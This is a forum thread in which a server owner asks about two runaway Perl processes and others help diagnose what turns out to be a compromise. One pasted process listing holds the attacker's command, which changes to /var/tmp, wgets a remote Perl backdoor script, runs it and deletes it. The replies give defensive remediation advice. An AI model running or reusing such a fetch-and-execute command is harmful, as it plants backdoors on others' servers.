Rogue Perl Scripts

[ManagerJosh]

I just hit "top" via SSH and found I have two rogue perl scripts caught in a infinite cycle.

How do I find out which scripts are they? And who they belong to as well

[tamarian]

try:

ps auxt|grep perl

[ManagerJosh]

Not much help there (or I just don't understand it)

httpd	22793  0.0  0.0  4516  576 ?		S	Jul17   0:00 sh -c echo _START
_; cd /var/tmp;wget [URL="http://www.geocities.com/kemayauinc/asc.txt;perl"]http://www.geocities.com/kemayauinc/asc.txt;perl[/URL] asc.txt;rm
-fr asc.txt; echo _END_
root	 25010  0.0  0.0  3676  656 pts/2	D	14:08   0:00 grep perl

[tamarian]

Well, it seems they're no longer running

But the first line looks a bit suspecious. I'd chack the logs to see who made that call, and check to make sure apache can't get a shell access, or be allowed outside the public_html.

[ManagerJosh]

mmm, well that's the thing tamarian. They are running. I checked "top" again and I clearly see them.

[tamarian]

mmm, well that's the thing tamarian. They are running. I checked "top" again and I clearly see them.

Hmm, run the ps command again, and replace "perl" with the name of the script you see in top.

You can also try to kill them through the PID shown

[wbear]

Instead of killing them outright, try this:
Find the PID of the script.
Type:
cat /proc/PID/cmdline
This should give you some useful information about what it's doing.

Kill the script:
kill PID

Then remove it from /var/tmp:
CD /var/tmp
rm -f ./script.ext

I'd also suggest you secure tmp, mounting it as noexec, along with /var/tmp and /dev/shm.

[edit]
Found some info on the script they uploaded, and it's opening port 31337:

http://www.google.com/search?hl=en&q=port+31337&btnG=Google+Search

You really need to kill this process, and find out how they got in to upload it. Most commonly, an exploited script, like PHP is to blame. You might want to search your logs a bit.

[Dave#]

Oh dear - some bad people are doing bad things on your server

[Scott MacVicar]

Looks like your box has been "rooted".

You'll need to consider rebuilding the machine and checking EVERY file for backdoors.

[tamarian]

Note that so far this appears as an attempt, as far as I can tell. Best to first read the script (or post it here for us), and see if it even executes "as intended". Showing as a process does not mean it succeded.

Might be worth contacting your host/admin to investigate. (and update us )

[Dave#]

Note that so far this appears as an attempt, as far as I can tell. Best to first read the script (or post it here for us), and see if it even executes "as intended". Showing as a process does not mean it succeded.)

It's an attempt by someone with local shell access afaiks

[tamarian]

It's an attempt by someone with local shell access afaiks

Yes, and it is the http process apparently (unless the root kit is in action). Could be done through an uploaded script. The system "may" be vulnerable to this attack, but it may not have succeded.

For instance, the script it's trying to download and execute does not exist at the URL it's seeking. This maybe a sign that a script kiddy got his hands on the script too late after the party

[wbear]

For instance, the script it's trying to download and execute does not exist at the URL it's seeking. This maybe a sign that a script kiddy got his hands on the script too late after the party

You sure? I was able to grab that script. Just remove the extra bit from the end of the URL, leaving .txt at the end...it's there.

http://www.geocities.com/kemayauinc/asc.txt

[tamarian]

You sure? I was able to grab that script. Just remove the extra bit from the end of the URL, leaving .txt at the end...it's there.
http://www.geocities.com/kemayauinc/asc.txt

Ah, o.k. So it seems to be trying to establish a mini server.

However, it is still unknown weather it was able to cd to tmp, and successfully run wget and download the script, and successfully execute the script.

And if all the above did succede, it may not successfully bind to the server's ports, as they maybe firewalled or in use. And if that succedes, the client script (remotely) may not have yet attempted to connect to this backdoor, as chances are (if this is automated) they have penetrated other servers, and any server will do.

There's too much suspence here, and I can't wait! I'm looking forward to hearing some good news from Josh, and hope all went well.

[wbear]

Umm, actually it was /var/tmp, and if it wasn't successful, how could it be running in top? If you read the sh commands listed in the original post (this was a shell script that ran all of the above), it changed to /var/tmp, wget'ed the file, ran it through PERL, then removed itself, leaving the process running.